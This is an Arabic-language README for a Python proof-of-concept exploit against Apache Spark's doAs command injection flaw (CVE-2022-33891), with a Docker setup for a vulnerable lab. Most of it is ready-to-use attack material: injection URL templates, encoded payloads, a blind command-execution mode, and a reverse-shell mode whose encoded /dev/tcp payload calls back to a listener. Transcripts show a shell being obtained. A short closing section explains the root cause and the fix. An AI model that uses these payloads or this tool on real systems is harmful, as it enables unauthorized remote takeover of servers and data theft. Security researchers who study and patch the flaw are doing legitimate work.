
إثبات مفهوم بلغة بايثون لثغرة حقن الأوامر في Apache Spark Shell (CVE-2022-33891)، يتضمن اكتشافًا قائمًا على النوم، وتنفيذ أوامر تفاعليًا، وقدرات شل عكسي ضد واجهات Spark الضعيفة.
ثغرة حقن الأوامر في شل أباتشي سبارك
نموذج إثبات مفهوم (POC) بلغة بايثون لاستغلال ثغرة حقن الأوامر في شل أباتشي سبارك. رأيت بعض نماذج الإثبات الأخرى لكنها بدت مشبوهة جداً. هذا النموذج نظيف وبسيط.
لم أكتشف هذا الاستغلال/الثغرة. أردت فقط إنشاء نموذج إثبات مفهوم آمن للمجتمع ^.^
إصدارات أباتشي سبارك 3.0.3 وما قبلها، والإصدارات 3.1.1 إلى 3.1.2، والإصدارات 3.2.0 إلى 3.2.1
http://localhost:8080/?doAs=`[command injection here]`
مثال
http://localhost:8080/?doAs=`echo%20%22c2xlZXAgMTAK%22%20|%20base64%20-d%20|%20bash`
... ينام لمدة 10 ثوانٍ
تحتاج إلى إصدار ضعيف من سبارك مع تغيير خيار تكوين واحد.
$ pip3 install -r requirements.txtspark/.docker-compose.ymlspark/docker-compose upsudo docker exec -it spark_spark_1 /bin/bashecho "spark.acls.enable true" >> conf/spark-defaults.confdocker-compose upusage: poc.py [-h] -u URL -p PORT [--revshell] [-lh LISTENINGHOST] [-lp LISTENINGPORT] [--check]
CVE-2022-33891 Python POC Exploit Script
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL URL to exploit.
-p PORT, --port PORT Exploit target's port.
--revshell Reverse Shell option.
-lh LISTENINGHOST, --listeninghost LISTENINGHOST
Your listening host IP address.
-lp LISTENINGPORT, --listeningport LISTENINGPORT
Your listening host port.
--check Checks if the target is exploitable with a sleep test
تحقق مما إذا كان الهدف ضعيفاً:
husky@dev-kde:~/spark$ python3 poc.py -u http://localhost -p 8080 --check
[*] Attempting to connect to site...
[*] Performing sleep test of 10 seconds...
[*] Full exploit request is: http://localhost:8080/?doAs=`echo c2xlZXAgMTA= | base64 -d | bash`
[+] Sleep was 10 seconds! This target is probably vulnerable!
إصدار الأوامر في حلقة موجه الأوامر:
husky@dev-kde:~/spark$ python3 poc.py -u http://localhost -p 8080
[*] "Interactive" mode!
[!] Note: you will not receive any output from these commands. Try using something like ping or sleep to test for execution.
> sleep 5
[*] Full exploit request is: http://localhost:8080/?doAs=`echo c2xlZXAgNQ== | base64 -d | bash`
>
تنفيذ شل عكسية:
husky@dev-kde:~/spark$ python3 poc.py -u http://localhost -p 8080 --revshell -lh 192.168.138.131 -lp 1337
[*] Reverse shell mode.
[*] Set up your listener by entering the following:
nc -nvlp 1337
[!] When your listener is set up, press enter!
[*] Full exploit request is: http://localhost:8080/?doAs=`echo c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMzguMTMxLzEzMzcgMD4mMQ== | base64 -d | bash`
...[in the other terminal]...
husky@dev-kde:~/spark$ nc -nvlp 1337
Listening on 0.0.0.0 1337
Connection received on 172.21.0.2 55278
sh: 0: can't access tty; job control turned off
$ whoami
spark
يحدث حقن الأوامر لأن سبارك يتحقق من عضوية المجموعة للمستخدم الممرر في المعامل ?doAs باستخدام أمر لينكس خام.
تمرير id كمستخدم ينتج هذا الخطأ في التتبع الخلفي:
spark_1 | 22/07/20 11:55:58 INFO Utils: id: 'id': no such user
spark_1 | 22/07/20 11:55:58 ERROR Utils: Process List(bash, -c, id -Gn 'id') exited with code 1:
spark_1 | 22/07/20 11:55:58 ERROR Utils: Error getting groups for user='id'
spark_1 | org.apache.spark.SparkException: Process List(bash, -c, id -Gn 'id') exited with code 1
هنا، قررت جافا أنه من الأفضل تمرير أمر id إلى bash -c للتحقق من عضوية المجموعة لمستخدم محدد. المشكلة هي أن هذا يسمح أيضاً بحقن الأوامر.
الإصدارات المصححة تجعل هذه الاستدعاء معاملاً بمسار كامل لأمر /bin/id بدلاً من bash -c id
تجدر الإشارة إلى أنه لا يوجد شيء ينعكس على الصفحة أثناء تنفيذ الأمر، لذلك هذا حقن أعمى لنظام التشغيل. أوامرك تنفذ، لكن لن يكون هناك أي مؤشر على نجاحها أو فشلها أو حتى إذا كان البرنامج الذي تشغله موجوداً على الهدف. على سبيل المثال، الحاوية التي يتم تشغيلها باستخدام ملف docker-compose.yml في هذا المستودع لا تحتوي على ping، لذا فإن التحقق من حقن الأوامر عبر pingback لن يعمل. لكنك لن تعرف ذلك، لذا ستبقى تتساءل عما إذا كان الأمر قد نجح أم لا.
اختبار السكون هو رهان آمن ^.^